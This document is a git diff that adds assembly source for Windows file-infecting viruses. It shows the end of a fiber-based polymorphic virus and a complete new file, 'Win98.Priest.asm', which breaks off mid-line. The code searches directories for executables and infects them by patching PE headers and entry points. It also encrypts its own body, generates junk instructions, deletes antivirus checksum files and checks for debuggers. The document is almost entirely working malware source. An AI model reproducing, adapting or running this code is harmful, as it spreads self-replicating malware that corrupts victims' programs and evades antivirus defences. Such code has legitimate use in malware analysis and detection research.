esi, [ebx + dtavTBAV] + push 0 + push esi + call [ebx + ddSetFileAttributesA] ;blank file attributes + push esi + call [ebx + ddDeleteFileA] ;delete TBAV checksum file + + lea edx, [ebx + dotdot] + push edx + call [ebx + ddSetCurrentDirectoryA] ;switch to subdirectory + pop ecx + loop path_walk + + lea edx, [ebx + CurDir] + push edx + call [ebx + ddSetCurrentDirectoryA] ;switch back + + push [ebx + pfMain] + call [ebx + ddSwitchToFiber] ;switch back to main fiber + popad + ret +Neuron_Main EndP + +;------------------------------------------------------------------------------- + +Neuron_Debugger Proc PASCAL delta_param:DWORD ;delta offset as dendrit + pushad ;store all regs + mov ebx, delta_param ;store delta offset + + call [ebx + ddIsDebuggerPresent] ;is debugger present ? + xchg eax, ecx + jecxz end_debugger ;nope, jump to end + + in al, 40h ;this will cause execution + xor esp, esp ;"xor esp, esp" under TD32 + +end_debugger: + push [ebx + pfNeuron_Main] + call [ebx + ddSwitchToFiber] ;jump back to main neuron + + popad + ret +Neuron_Debugger EndP + +;------------------------------------------------------------------------------- + +Neuron_FindFile Proc PASCAL delta_param:DWORD ;delta offset as dendrit + +n_findfile: + pushad ;save all regs + mov ebx, delta_param ;store delta offset + + mov edx, 0 ;pointer to file name +nfindfile_name = dword ptr $ - 4 ;as dendrit + + lea eax, [ebx + WFD] ;find first file + push eax + push edx + call [ebx + ddFindFirstFileA] + xchg eax, ecx + jecxz end_FindFile + mov [ebx + SearchHandle], ecx ;save search handle + +checkfile: + mov [ebx + nCF_synapse], offset pfNeuron_FindFile ;build synapse + push [ebx + pfNeuron_CheckFile] + call [ebx + ddSwitchToFiber] ;and switch to neuron + + xor eax, eax + cmp al, 0 +nCheckFile_OK = byte ptr $ - 1 ;check Axon + je find_next_file ;check failed ? + + mov [ebx + nIF_synapse], offset pfNeuron_FindFile ;build synapse + push [ebx + pfNeuron_InfectFile] + call [ebx + ddSwitchToFiber] ;and switch to neuron + +find_next_file: + lea edx, [ebx + WFD] + push edx + push [ebx + SearchHandle] + call [ebx + ddFindNextFileA] ;find next file + test eax, eax + jne checkfile ;r there more files ? + push [ebx + SearchHandle] + call [ebx + ddFindClose] ;nope, close search handle + +end_FindFile: + push [ebx + dwThreadID] +nFF_synapse = dword ptr $ - 4 ;jump to previous neuron + call [ebx + ddSwitchToFiber] ;(depends on synapse) + + popad + jmp n_findfile +Neuron_FindFile EndP + +;------------------------------------------------------------------------------- + +Neuron_CheckFile Proc PASCAL delta_param:DWORD ;d-offset as dendrit + +n_checkfile: + pushad ;store all regs + mov ebx, delta_param ;store delta offset + + mov [ebx + nCheckFile_OK], 0 + test [ebx + WFD.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY + jne end_checkfile ;discard directories + xor edx, edx + mov ecx, [ebx + WFD.WFD_nFileSizeHigh] + cmp ecx, edx + jne end_checkfile ;discard huge files + add dx, 4096 + cmp [ebx + WFD.WFD_nFileSizeLow], edx + jb end_checkfile ;discard small files + + mov [ebx + nopenfile_size], ecx ;dendrit + mov [ebx + nOF_synapse], offset pfNeuron_CheckFile ;build synapse + push [ebx + pfNeuron_OpenFile] + call [ebx + ddSwitchToFiber] ;switch to neuron + mov ecx, [ebx + lpFile] + jecxz end_checkfile ;mapped failed ? + mov dl, byte ptr [ecx.MZ_res2] + test dl, dl + jne end_check_close ;test "already infected" mark + + mov edx, ecx + cmp word ptr [ecx], IMAGE_DOS_SIGNATURE ;must be MZ + jne end_check_close + mov ecx, [ecx.MZ_lfanew] + jecxz end_check_close + mov eax, [ebx + WFD.WFD_nFileSizeLow] + cmp eax, ecx + jb end_check_close ;must point inside file + add ecx, edx + + cmp dword ptr [ecx], IMAGE_NT_SIGNATURE ;must be PE\0\0 + jne end_check_close + cmp word ptr [ecx.NT_FileHeader.FH_Machine], IMAGE_FILE_MACHINE_I386 + jne end_check_close ;must be 386+ + test byte ptr [ecx.NT_FileHeader.FH_Characteristics], IMAGE_FILE_EXECUTABLE_IMAGE + je end_check_close + cmp [ecx.NT_OptionalHeader.OH_ImageBase], 400000h ;must be 0x400000 + jne end_check_close + xor eax, eax + inc eax + mov [ebx + nCheckFile_OK], al ;axon + +end_check_close: + cdq + inc edx + inc edx + mov [ebx + nclosefile_mode], dl ;dendrit + mov [ebx + nClF_synapse], offset pfNeuron_CheckFile + push [ebx + pfNeuron_CloseFile] + call [ebx + ddSwitchToFiber] ;switch to neuron + +end_checkfile: + push [ebx + dwThreadID] +nCF_synapse = dword ptr $ - 4 + call [ebx + ddSwitchToFiber] ;jump to previous neuron + + popad + jmp n_checkfile +Neuron_CheckFile EndP + +;------------------------------------------------------------------------------- + +Neuron_OpenFile Proc PASCAL delta_param:DWORD ;delta offset as dendrit + +n_openfile: + pushad ;store all regs + mov ebx, delta_param ;store delta offset + + lea esi, [ebx + WFD.WFD_szFileName] + mov edi, 0 +nopenfile_size = dword ptr $ - 4 ;dendrit + xor eax, eax + mov [ebx + lpFile], eax + + push eax + push eax + push OPEN_EXISTING + push eax + mov al, 1 + push eax + ror eax, 1 + mov ecx, edi + jecxz $ + 4 + rcr eax, 1 + push eax + push esi + call [ebx + ddCreateFileA] ;open file + inc eax + je end_OpenFile + dec eax + mov [ebx + hFile], eax + cdq + + push edx + push edi + push edx + mov dl, PAGE_READONLY + test edi, edi + je $ + 4 + shl dl, 1 + push edx + push 0 + push eax + call [ebx + ddCreateFileMappingA] ;create mappin object + test eax, eax + je end_OpenFile2 + mov [ebx + hMapFile], eax + cdq + + push edi + push edx + push edx + mov dl, FILE_MAP_READ + test edi, edi + je $ + 4 + shr dl, 1 + push edx + push eax + call [ebx + ddMapViewOfFile] ;map view of file + mov [ebx + lpFile], eax + test eax, eax + jne end_OpenFile + +end_OpenFile3: + inc eax +end_OpenFile2: + mov [ebx + nclosefile_mode], al ;axon + mov eax, [nOF_synapse] + mov [ebx + nClF_synapse], eax ;dendrit + push [ebx + pfNeuron_CloseFile] + call [ebx + ddSwitchToFiber] ;switch to neuron + +end_OpenFile: + push [ebx + dwThreadID] +nOF_synapse = dword ptr $ - 4 + call [ebx + ddSwitchToFiber] ;switch to previous neuron + popad + jmp n_openfile +Neuron_OpenFile EndP + +;------------------------------------------------------------------------------- + +Neuron_CloseFile Proc PASCAL delta_param:DWORD + ;delta offset as dendrit +n_closefile: + pushad ;store all regs + mov ebx, delta_param ;store delta offset + + mov esi, [ebx + hFile] + xor edi, edi + xor ecx, ecx + mov cl, 0 +nclosefile_mode = byte ptr $ - 1 ;dendrit + jecxz closefile + cmp cl, 1 + je closemap + cmp cl, 2 + je unmapfile + cmp al, 3 + je next_edi + inc edi +next_edi: + inc edi +unmapfile: + push [ebx + lpFile] + call [ebx + ddUnmapViewOfFile] ;unmap view of file +closemap: + push [ebx + hMapFile] + call [ebx + ddCloseHandle] ;close mappin object + + test edi, edi + je closefile + cmp edi, 1 + je set_time + + xor eax, eax + push eax + push eax + push [ebx + WFD.WFD_nFileSizeLow] + push esi + call [ebx + ddSetFilePointer] ;set file pointer API + push esi + call [ebx + ddSetEndOfFile] ;set EOF + +set_time: + lea eax, [ebx + WFD.WFD_ftLastWriteTime] + push eax + lea eax, [ebx + WFD.WFD_ftLastAccessTime] + push eax + lea eax, [ebx + WFD.WFD_ftCreationTime] + push eax + push esi + call [ebx + ddSetFileTime] ;set back file time + +closefile: + push [ebx + hFile] + call [ebx + ddCloseHandle] ;close file + + push [ebx + dwThreadID] +nClF_synapse = dword ptr $ - 4 + call [ebx + ddSwitchToFiber] ;jump to previous neuron + + popad + jmp n_closefile +Neuron_CloseFile EndP + +;------------------------------------------------------------------------------- + +Neuron_InfectFile Proc PASCAL delta_param:DWORD + ;delta offset as dendrit +n_infectfile: + pushad ;store all regs + mov ebx, delta_param ;store delta offset + @SEH_SetupFrame ;setup SEH frame + + xor esi, esi + push esi + lea edi, [ebx + WFD.WFD_szFileName] + push edi + call [ebx + ddSetFileAttributesA] ;blank file attributes + test eax, eax + je end_InfectFile + + mov eax, [ebx + WFD.WFD_nFileSizeLow] + sub eax, Start - virus_end + mov [ebx + nopenfile_size], eax ;dendrit + mov [ebx + nOF_synapse], offset pfNeuron_InfectFile ;synapse + push [ebx + pfNeuron_OpenFile] + call [ebx + ddSwitchToFiber] ;switch to neuron + mov ecx, [ebx + lpFile] + test ecx, ecx + je err_InfectFile + + lea eax, [ebx + szGetModuleHandleA] + lea edx, [ebx + szKernel32] + call GetProcAddressIT ;imports GetModuleHandleA ? + test eax, eax + jne store + + lea eax, [ebx + szGetModuleHandleW] ;nope, must import Unicode + call GetProcAddressIT ;version of that + test eax, eax + je err_InfectFile + mov [ebx + GMHW], eax + xor eax, eax +store: mov [ebx + GMHA], eax + + push ecx + add ecx, [ecx.MZ_lfanew] + mov edx, ecx +x = IMAGE_SIZEOF_SECTION_HEADER + movzx esi, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader] + lea esi, [edx.NT_OptionalHeader + esi] + movzx eax, word ptr [edx.NT_FileHeader.FH_NumberOfSections] + test eax, eax + je err_InfectFile + imul eax, x + add esi, eax + + in al, 40h ;select how to infect file + and al, 2 + je NextWayOfInfection + + push [esi.SH_SizeOfRawData - x] + lea edi, [esi.SH_VirtualSize - x] + sub dword ptr [edi], Start - virtual_end ;new virtual size + mov eax, [edi] + + push edx + mov ecx, [edx.NT_OptionalHeader.OH_FileAlignment] + cdq + div ecx + inc eax + mul ecx + mov [esi.SH_SizeOfRawData - x], eax ;new SizeOfRawData + mov ecx, eax + pop edx + + mov eax, [ebx + Entrypoint] + push [edx.NT_OptionalHeader.OH_AddressOfEntryPoint] + pop [ebx + Entrypoint] + + pop edi + push eax + sub ecx, edi + add [edx.NT_OptionalHeader.OH_SizeOfImage], ecx ;new SizeOfImage + + or [esi.SH_Characteristics.hiw.hib - x], 0e0h ;change flags + mov eax, [esi.SH_PointerToRawData - x] + add eax, edi + mov ecx, [ebx + WFD.WFD_nFileSizeLow] + add edi, ecx + sub edi, eax + mov esi, [esi.SH_VirtualAddress - x] + add esi, edi + mov [edx.NT_OptionalHeader.OH_AddressOfEntryPoint], esi ;new EP + pop eax + +copy_virus: + pop edi + mov byte ptr [edi.MZ_res2], 1 ;set "already infected" mark + add edi, ecx + + pushad ;POLY ENGINE STARTS HERE... +rep_1: call get_reg ;load random register + mov dl, al + add al, 58h ;create POP reg + mov byte ptr [ebx + @1], al ;store it + lea edi, [ebx + @2+1] ;and aply registry changes + call mask_it ;to all needed + lea edi, [ebx + @3] ;instructions + call mask_it ;... +rep_2: call get_reg ;get random register + cmp al, dl ;mustnt be previous register + je rep_2 + mov dh, al + xchg dl, dh + add al, 0b8h ;create MOV instruction + mov byte ptr [ebx + @4], al ;store it + lea edi, [ebx + @5] ;and aply changes + call mask_it + push eax + in al, 40h + and al, 1 + je _test_ + mov al, 0bh ;OR reg, reg + jmp _write +_test_: mov al, 85h ;TEST reg, reg +_write: mov byte ptr [ebx + @6-1], al ;store it + pop eax + lea edi, [ebx + @6] + mov al, [edi] + and al, 11000000b + add al, dl + ror al, 3 + add al, dl + rol al, 3 + stosb +rep_3: call get_reg ;get random register + cmp al, dl ;mustnt be previous register + je rep_3 + cmp al, dh + je rep_3 + cmp al, 101b ;mustnt be EBP + je rep_3 ;(due to instr. incompatibility) + + mov dl, al + lea edi, [ebx + @3] + mov al, [edi] + and al, 11000111b + ror al, 3 + add al, dl + rol al, 3 + stosb + lea edi, [ebx + @7] + call mask_it + lea edi, [ebx + @8] + call mask_it + lea esi, [ebx + junx] +gen_j: lodsd ;junk instructions generator + xchg eax, ecx + jecxz end_mutate + mov edi, ecx + add edi, ebx + xor eax, eax + in al, 40h + and al, 1 + je _2&1_ + push esi + lea esi, [ebx + junx3] + in al, 40h + and al, num_junx3-1 + add esi, eax + movsb + movsb + in al, 40h + stosb + jmp _gen_j +_2&1_: push esi + in al, 40h + and al, 1 + je twofirst + call one_byte + call two_byte + jmp _gen_j +twofirst: + call two_byte + call one_byte +_gen_j: pop esi + jmp gen_j +end_mutate: + popad + push eax + in al, 40h ;create 32bit key + mov ah, al + in al, 40h + shl eax, 16 + in al, 40h + mov ah, al + in al, 40h + mov dword ptr [ebx + key], eax ;store it + + push edi + mov edx, (virus_end-Start+3)/4 ;copy virus body to internal + lea esi, [ebx + Start] ;buffer + mov ecx, edx + lea edi, [ebx + buffer] + rep movsd + + xor ecx, ecx + lea esi, [ebx + buffer - Start + encrypted] +crypt: xor [esi], eax ;encrypt virus body + add esi, 4 + inc ecx + cmp ecx, (virus_end-encrypted+3)/4 + jne crypt + + pop edi + pop eax + lea esi, [ebx + buffer] + mov ecx, edx + + inc dword ptr [ebx + GenerationCount] ;increment generation count + rep movsd ;copy virus + mov [ebx + Entrypoint], eax ;restore variable after + mov al, 3 ;copy stage + jmp if_n + +err_InfectFile: + mov al, 4 + mov [ebx + nclosefile_mode], al ;dendrit +if_n: mov [ebx + nClF_synapse], offset pfNeuron_InfectFile ;synapse + push [ebx + pfNeuron_CloseFile] + call [ebx + ddSwitchToFiber] ;switch to neuron + +end_InfectFile: + push [ebx + WFD.WFD_dwFileAttributes] + lea esi, [ebx + WFD.WFD_szFileName] + push esi + call [ebx + ddSetFileAttributesA] ;set back file attributes + +end_IF: push [ebx + dwThreadID] +nIF_synapse = dword ptr $ - 4 + call [ebx + ddSwitchToFiber] ;jump to previous neuron + jmp n_infectfile + + +NextWayOfInfection: ;create new section + mov edi, edx + inc word ptr [edi.NT_FileHeader.FH_NumberOfSections] + mov eax, [esi.SH_VirtualAddress - x] + add eax, [esi.SH_VirtualSize - x] + mov ecx, [edi.NT_OptionalHeader.OH_SectionAlignment] + cdq + div ecx + test edx, edx + je next_1 + inc eax +next_1: mul ecx + mov [ebx + s_RVA], eax ;new RVA + + mov ecx, [ebx + Entrypoint] + push ecx + push [edi.NT_OptionalHeader.OH_AddressOfEntryPoint] + pop [ebx + Entrypoint] + mov [edi.NT_OptionalHeader.OH_AddressOfEntryPoint], eax ;new EP + + mov ecx, [edi.NT_OptionalHeader.OH_FileAlignment] + mov eax, virtual_end - Start + div ecx + inc eax + mul ecx + mov [ebx + s_RAWSize], eax ;new SizeOfRawData + add [edi.NT_OptionalHeader.OH_SizeOfImage], eax + ;new SizeOfImageBase + + mov ecx, [ebx + WFD.WFD_nFileSizeLow] + mov [ebx + s_RAWPtr], ecx ;new PointerToRawData + push ecx + mov edi, esi + lea esi, [ebx + new_section] + mov ecx, (IMAGE_SIZEOF_SECTION_HEADER+3)/4 + rep movsd ;copy section + pop ecx + pop eax + jmp copy_virus ;and copy virus body + +ni_seh: @SEH_RemoveFrame ;remove SEH frame + popad + jmp end_IF +Neuron_InfectFile EndP + +;------------------------------------------------------------------------------- + +one_byte: + lea esi, [ebx + junx1] + in al, 40h + and al, num_junx1-1 + add esi, eax + movsb + ret +two_byte: + lea esi, [ebx + junx2] + in al, 40h + and al, num_junx2-1 + add esi, eax + movsb + in al, 40h + and al, 7 + add al, 11000000b + stosb + ret +get_reg: + in al, 40h + and al, 7 + je get_reg + cmp al, 4 + je get_reg + ret +mask_it: + mov al, [edi] + and al, 11111000b + add al, dl + stosb + ret + +;------------------------------------------------------------------------------- + +Neuron_Addresses: dd offset Neuron_Main + dd offset Neuron_Debugger + dd offset Neuron_FindFile + dd offset Neuron_CheckFile + dd offset Neuron_OpenFile + dd offset Neuron_CloseFile + dd offset Neuron_InfectFile +num_of_neurons = (byte ptr $ - offset Neuron_Addresses) / 4 + +junx1: nop + dec eax + cmc + inc eax + clc + cwde + stc + lahf +num_junx1 = 8 +junx2: db 8bh ;mov ..., ... + db 03h ;add ..., ... + db 13h ;adc ..., ... + db 2dh ;sub ..., ... + db 1bh ;sbb ..., ... + db 0bh ;or ..., ... + db 33h ;xor ..., ... + db 23h ;and ..., ... + db 33h ;test ..., ... +num_junx2 = 9 +junx3: db 0c1h, 0c0h ;rol eax, ... + db 0c1h, 0e0h ;shl eax, ... + db 0c1h, 0c8h ;ror eax, ... + db 0c1h, 0e8h ;shr eax, ... + db 0c1h, 0d0h ;rcl eax, ... + db 0c1h, 0f8h ;sar eax, ... + db 0c1h, 0d8h ;rcr eax, ... +num_junx3 = 7 +junx: irp Num, <1,2,3,4,5,6,7,8,9> + dd offset @j&Num + endm + dd 0 + +GenerationCount dd ? +Entrypoint dd offset ExitProcess - 400000h + +szExe db '*.EXE', 0 +szScr db '*.SCR', 0 +szBak db '*.BAK', 0 +szDat db '*.DAT', 0 +szSfx db '*.SFX', 0 +num_of_exts = 5 +dotdot db '..', 0 + + +dtavTBAV db 'anti-vir.dat', 0 + +string_subs: ;string substitutes + db 'File', 0 + db 'Get', 0 + db 'Set', 0 + db 'Module', 0 + db 'Handle', 0 + db 'Create', 0 + db 'Find', 0 + db 'Close', 0 + db 'ViewOf', 0 + db 'CurrentDirectoryA', 0 + db 'Fiber', 0 + db 'Thread', 0 + db 'Delete', 0 + db 'Library', 0 +new_section: +s_name db '.mdata', 0, 0 +s_vsize dd virtual_end - Start +s_RVA dd 0 +s_RAWSize dd 0 +s_RAWPtr dd 0 + dd 0, 0, 0 +s_flags dd 0e0000000h + + +virus_end: + +strings: +szKernel32 db 'KERNEL32', 0 +szKernel32W dw 'K','E','R','N','E','L','3','2', 0 +szUser32 db 'USER32', 0 + +szGetModuleHandleA db 'GetModuleHandleA', 0 +szGetModuleHandleW db 'GetModuleHandleW', 0 + +szAPIs: +szCreateThread db 'CreateThread', 0 +szWaitForSingleObject db 'WaitForSingleObject', 0 +szCloseHandle db 'CloseHandle', 0 +szConvertThreadToFiber db 'ConvertThreadToFiber', 0 +szCreateFiber db 'CreateFiber', 0 +szSwitchToFiber db 'SwitchToFiber', 0 +szDeleteFiber db 'DeleteFiber', 0 +szGetVersion db 'GetVersion', 0 +szFindFirstFileA db 'FindFirstFileA', 0 +szFindNextFileA db 'FindNextFileA', 0 +szFindClose db 'FindClose', 0 +szCreateFileA db 'CreateFileA', 0 +szCreateFileMappingA db 'CreateFileMappingA', 0 +szMapViewOfFile db 'MapViewOfFile', 0 +szUnmapViewOfFile db 'UnmapViewOfFile', 0 +szSetFileAttributesA db 'SetFileAttributesA', 0 +szSetFilePointer db 'SetFilePointer', 0 +szSetEndOfFile db 'SetEndOfFile', 0 +szSetFileTime db 'SetFileTime', 0 +szGetCurrentDirectoryA db 'GetCurrentDirectoryA', 0 +szSetCurrentDirectoryA db 'SetCurrentDirectoryA', 0 +szDeleteFileA db 'DeleteFileA', 0 +szLoadLibraryA db 'LoadLibraryA', 0 +szFreeLibraryA db 'FreeLibrary', 0 +szIsDebuggerPresent db 'IsDebuggerPresent', 0 + db 0ffh + +ddAPIs: +ddCreateThread dd ? +ddWaitForSingleObject dd ? +ddCloseHandle dd ? +ddConvertThreadToFiber dd ? +ddCreateFiber dd ? +ddSwitchToFiber dd ? +ddDeleteFiber dd ? +ddGetVersion dd ? +ddFindFirstFileA dd ? +ddFindNextFileA dd ? +ddFindClose dd ? +ddCreateFileA dd ? +ddCreateFileMappingA dd ? +ddMapViewOfFile dd ? +ddUnmapViewOfFile dd ? +ddSetFileAttributesA dd ? +ddSetFilePointer dd ? +ddSetEndOfFile dd ? +ddSetFileTime dd ? +ddGetCurrentDirectoryA dd ? +ddSetCurrentDirectoryA dd ? +ddDeleteFileA dd ? +ddLoadLibraryA dd ? +ddFreeLibraryA dd ? +ddIsDebuggerPresent dd ? + +dwThreadID dd ? + +Fiber_Addresses: +pfMain dd ? +pfNeuron_Main dd ? +pfNeuron_Debugger dd ? +pfNeuron_FindFile dd ? +pfNeuron_CheckFile dd ? +pfNeuron_OpenFile dd ? +pfNeuron_CloseFile dd ? +pfNeuron_InfectFile dd ? + +hFile dd ? +hMapFile dd ? +lpFile dd ? + +SearchHandle dd ? +CurDir db MAX_PATH dup (?) +WFD WIN32_FIND_DATA ? +buffer db virus_end - Start + 1 dup (?) + +virtual_end: + +_GetModuleHandleA dd offset GetModuleHandleA +_GetModuleHandleW dd offset GetModuleHandleW + +ends +End Start + + + + + diff --git a/LegacyWindows/Win98.Priest.asm b/LegacyWindows/Win98.Priest.asm new file mode 100644 index 00000000..28688395 --- /dev/null +++ b/LegacyWindows/Win98.Priest.asm @@ -0,0 +1,495 @@ +; Win98.Priest +.386 +.model flat +extrn ExitProcess:PROC +KER32 equ 0bff70000h +Limit equ 0000h +addname equ 0004h +addfun equ 0008h +addord equ 000Ch +create equ 0010h +close equ 0014h +rfile equ 0018h +ffind equ 001ch +nfind equ 0020h +white equ 0024h +fpoin equ 0028h +getw equ 002ch +gets equ 0030h +getc equ 0034h +srchc equ 0038h +getp equ 003ch +shand equ 0040h +fhand equ 0044h +reads equ 0048h +OLDEDI equ 004ch +chkif equ 0050h +chkdi equ 0054h +WICHI equ 0058h +exew equ 005ch +DATAA equ 0200h +heads equ 0300h +.code +Start_Virus: +Call Delta_Offset +Delta_Offset: +Pop Ebp +Sub Ebp,Offset Delta_Offset +pushad +KEY_CODE: +mov EAX,00h +LEA eSI,[VIRUS_BODY+EBP] +mov ecx,End_Virus - VIRUS_BODY -4 +KEYCODE: +XOR DWORD ptr [esi],eax +add esi,1 +xchg al,ah +ror eax,1 +loop KEYCODE +VIRUS_BODY: +popad +push eax +mov eax,[OLDIP+ebp] +add eax,400000h +push eax +call Scan_DATA +mov EDI,ESI +add ESI,6 +cmp word ptr [esi],0 +je R_IP +xor ecx,ecx +mov cx,[esi] +add ESI,0f2h +add ESI,24h +add edi,0f8h +CHk_se: +mov eax,[esi] +and eax,0c0000000h +cmp eax,0c0000000h +jne Next_Se +mov eax,[edi+8h] +mov ebx,511 +add eax,ebx +xor edx,edx +inc ebx +div ebx +mul ebx +sub eax,[edi+10h] +cmp eax,700h+(W_ENC_END - W_ENC) +jge OK_SE +Next_Se: +add esi,28h +add edi,28h +loop CHk_se +JMP R_IP +OK_SE: +mov esi,[edi+0ch] +add esi,[edi+10h] +add esi,400000h +mov ebp,ESI +xor eax,eax +mov esi,KER32+3ch +lodsw +add eax,KER32 +cmp dword ptr [eax],00004550h +jne R_IP +mov esi,[eax+78h] +add esi,24 +add esi,KER32 +lodsd +add eax,KER32 +mov [ebp+Limit],eax +lodsd +add eax,KER32 +mov [ebp+addfun],eax +lodsd +add eax,KER32 +mov [ebp+addname],eax +lodsd +add eax,KER32 +mov [ebp+addord],eax +pop eax +pop ebx +push ebx +push eax +mov esi,ebx +add esi,offset gp - Start_Virus +mov ebx,esi +mov edi,[ebp+addname] +mov edi,[edi] +add edi,KER32 +xor ecx,ecx +call FIND_SRC +shl ecx,1 +mov esi,[ebp+addord] +add esi,ecx +xor eax,eax +mov ax,word ptr [esi] +shl eax,2 +mov esi,[ebp+addfun] +add esi,eax +mov edi,[esi] +add edi,KER32 +mov [getp+ebp],edi +mov ebx,create +pop eax +pop edi +push edi +push eax +add edi,offset cf - Start_Virus +FIND_FUN: +push edi +push KER32 +call [getp+ebp] +mov [ebx+ebp],eax +add ebx,4 +cmp ebx,getp +je OK_FIND_FILE +mov al,0 +repne scasb +jmp FIND_FUN +OK_FIND_FILE: +lea eax,[ebp+exew] +push eax +push 100h - 58h +call [getc+ebp] +or eax,eax +je CHG_DIR +OK_EXE: +lea esi,[ebp+DATAA] +push esi +lea edi,[ebp+exew] +push edi +scan_dir: +cmp byte ptr [edi],00h +je ok_make_exe +add edi,1 +jmp scan_dir +ok_make_exe: +mov al,'' +stosb +mov dword ptr [ebp+WICHI],edi +mov ax,'.*' +stosw +mov eax,'EXE' +stosd +call [ebp+ffind] +mov [ebp+shand],eax +cmp eax,-1 +je R_IP +mov eax,0 +open_file: +cmp byte ptr [ebp+DATAA+2ch+eax],'v' +je NEXT_FILE +cmp byte ptr [ebp+DATAA+2ch+eax],'n' +je NEXT_FILE +cmp byte ptr [ebp+DATAA+2ch+eax],'V' +je NEXT_FILE +cmp byte ptr [ebp+DATAA+2ch+eax],'N' +je NEXT_FILE +cmp byte ptr [ebp+DATAA+2ch+eax],0 +je open_file_start +add eax,1 +jmp open_file +open_file_start: +mov edi,dword ptr [ebp+WICHI] +mov ecx,20 +lea esi,[ebp+DATAA+2ch] +repz movsb +push 0 +push 0 +push 3 +push 0 +push 0 +push 0c0000000h +lea eax,[ebp+exew] +push eax +call [ebp+create] +mov [ebp+fhand],eax +cmp eax,-1 +je File_Close +mov ecx,400h +lea edx,[ebp+heads] +lea eax,[ebp+reads] +push 0 +push eax +push ecx +push edx +push dword ptr [ebp+fhand] +call [ebp+rfile] +cmp eax,0 +je File_Close +cmp word ptr [ebp+heads],'ZM' +jne File_Close +xor eax,eax +lea esi,[ebp+heads+3ch] +lodsw +add eax,ebp +add eax,heads +mov esi,eax +lea ebx,[ebp+heads+400h] +cmp eax,ebx +jg File_Close +cmp word ptr [eax],'EP' +jne File_Close +cmp dword ptr [eax+34h],400000h +jne File_Close +cmp word ptr [ebp+heads+12h],'^^' +je File_Close +cmp word ptr [esi+6],6 +jg File_Close +xor ecx,ecx +mov edi,esi +mov cx,word ptr [esi+6] +add edi,0f8h +CHK_DATA: +add edi,24h +mov eax,dword ptr [edi] +and eax,0c0000000h +cmp eax,0c0000000h +je OK_INFECT +add edi,4h +loop CHK_DATA +jmp File_Close +OK_INFECT: +mov eax,[ebp+DATAA+20h] +call F_SEEK +mov edi,[esi+28h] +pop ebx +pop eax +push eax +push ebx +add eax,offset OLDIP - Start_Virus +mov dword ptr [eax],edi +mov eax,offset End_Virus - Start_Virus +mov ecx,[esi+3ch] +add eax,ecx +xor edx,edx +div ecx +mul ecx +add dword ptr [esi+50h],eax +mov ecx,eax +pop eax +pop ebx +mov edx,ebx +push ebx +push eax +push ecx +push ecx +mov ecx,End_Virus - Start_Virus +pushad +push edx +add edx,offset W_ENC - Start_Virus +mov esi,edx +lea ebp,[ebp+heads] +add ebp,400h +mov edi,ebp +push edi +mov cx,offset W_ENC_END - W_ENC +repz movsb +pop edi +jmp edi +r_body: +popad +pop ecx +sub ecx,offset End_Virus - Start_Virus +mov edx,400000h +call fwrite +mov eax,[ebp+DATAA+20h] +mov ecx,[esi+3ch] +mov edx,0 +div ecx +push edx +push eax +mov edi,esi +mov ax,word ptr [esi+6] +sub eax,1 +mov ecx,28h +mul ecx +add eax,0f8h +add edi,eax +xor edx,edx +mov eax,[edi+14h] +mov ecx,[esi+3ch] +div ecx +pop edx +sub edx,eax +push edx +mov eax,[edi+10h] +sub eax,1 +add eax,ecx +xor edx,edx +div ecx +mov ebx,eax +pop eax +sub eax,ebx +mul ecx +pop edx +add eax,edx +add dword ptr [esi+50h],eax +mov ebx,[edi+0ch] +add ebx,[edi+10h] +add ebx,eax +mov [esi+28h],ebx +pop ebx +add ebx,eax +add [edi+8h],ebx +add [edi+10h],ebx +mov [edi+24h],0c0000040h +mov word ptr [ebp+heads+12h],'^^' +mov eax,0 +call F_SEEK +lea edx,[ebp+heads] +mov ecx,400h +call fwrite +inc dword ptr chkif[ebp] +File_Close: +push dword ptr [ebp+fhand] +call [ebp+close] +cmp dword ptr chkif[ebp],6 +je CHG_DIR +NEXT_FILE: +lea eax,[ebp+DATAA] +push eax +push dword ptr [ebp+shand] +call [ebp+nfind] +cmp eax,0 +je CHG_DIR +jmp open_file +CHG_DIR: +push dword ptr [shand+ebp] +call [ebp+srchc] +cmp dword ptr chkif[ebp],6 +je R_IP +cmp dword ptr chkdi[ebp],1 +jg CHG_DIR_2 +add dword ptr chkdi[ebp],2 +push 100h-58h +lea eax,[ebp+exew] +push eax +call [ebp+getw] +or eax,eax +je CHG_DIR_2 +jmp OK_EXE +CHG_DIR_2: +cmp dword ptr chkdi[ebp],2 +jg R_IP +add dword ptr chkdi[ebp],1 +push 100h-58h +lea eax,[ebp+exew] +push eax +call [ebp+gets] +or eax,eax +je R_IP +jmp OK_EXE +Scan_DATA: +mov esi,400000h +mov cx,600h +Scan_PE: +cmp dword ptr [esi],00004550h +je R_CO +inc esi +loop Scan_PE +R_IP: +pop eax +pop ebx +jmp eax +R_CO: +ret +FIND_SRC: +mov esi,ebx +X_M: +cmpsb +jne FIND_SRC_2 +cmp byte ptr [edi],0 +je R_CO +jmp X_M +FIND_SRC_2: +inc cx +cmp cx,[ebp+Limit] +jge NOT_SRC +add dword ptr [ebp+addname],4 +mov edi,[ebp+addname] +mov edi,[edi] +add edi,KER32 +jmp FIND_SRC +NOT_SRC: +pop esi +jmp R_IP +F_SEEK: +push 0 +push 0 +push eax +push dword ptr [ebp+fhand] +call [ebp+fpoin] +ret +W_ENC: +in al,40h +xchg al,ah +in al,40h +add eax,edi +add edi,offset ENCRY_E - W_ENC +1 +mov dword ptr [edi],eax +pop edx +add edx,offset KEY_CODE - Start_Virus +1 +mov dword ptr [edx],eax +popad +pushad +mov esi,edx +add esi,offset VIRUS_BODY - Start_Virus +mov ecx,offset End_Virus - VIRUS_BODY -4 +call ENCRY_E +popad +pushad +call fwrite +popad +pushad +mov esi,edx +add esi,offset VIRUS_BODY - Start_Virus +mov ecx,offset End_Virus - VIRUS_BODY -4 +call ENCRY_E +popad +pushad +add edx,offset r_body - Start_Virus +jmp edx +ENCRY_E: +mov eax,00h +ENCRY: +xor dword ptr [esi],eax +xchg al,ah +ror eax,1 +inc esi +loop ENCRY +ret +fwrite: +push 0 +lea eax,[ebp+reads] +push eax +push ecx +push edx +push dword ptr [ebp+fhand] +call [ebp+white] +ret +W_ENC_END: +cf db 'CreateFileA',0 +cl db '_lclose',0 +rf db 'ReadFile',0 +ff db 'FindFirstFileA',0 +fn db 'FindNextFileA',0 +wf db 'WriteFile',0 +sf db 'SetFilePointer',0 +gw db 'GetWindowsDirectoryA',0 +gs db 'GetSystemDirectoryA',0 +gc db 'GetCurrentDirectoryA',0 +fc db 'FindClose',0 +gp db 'GetProcAddress',0 +vn 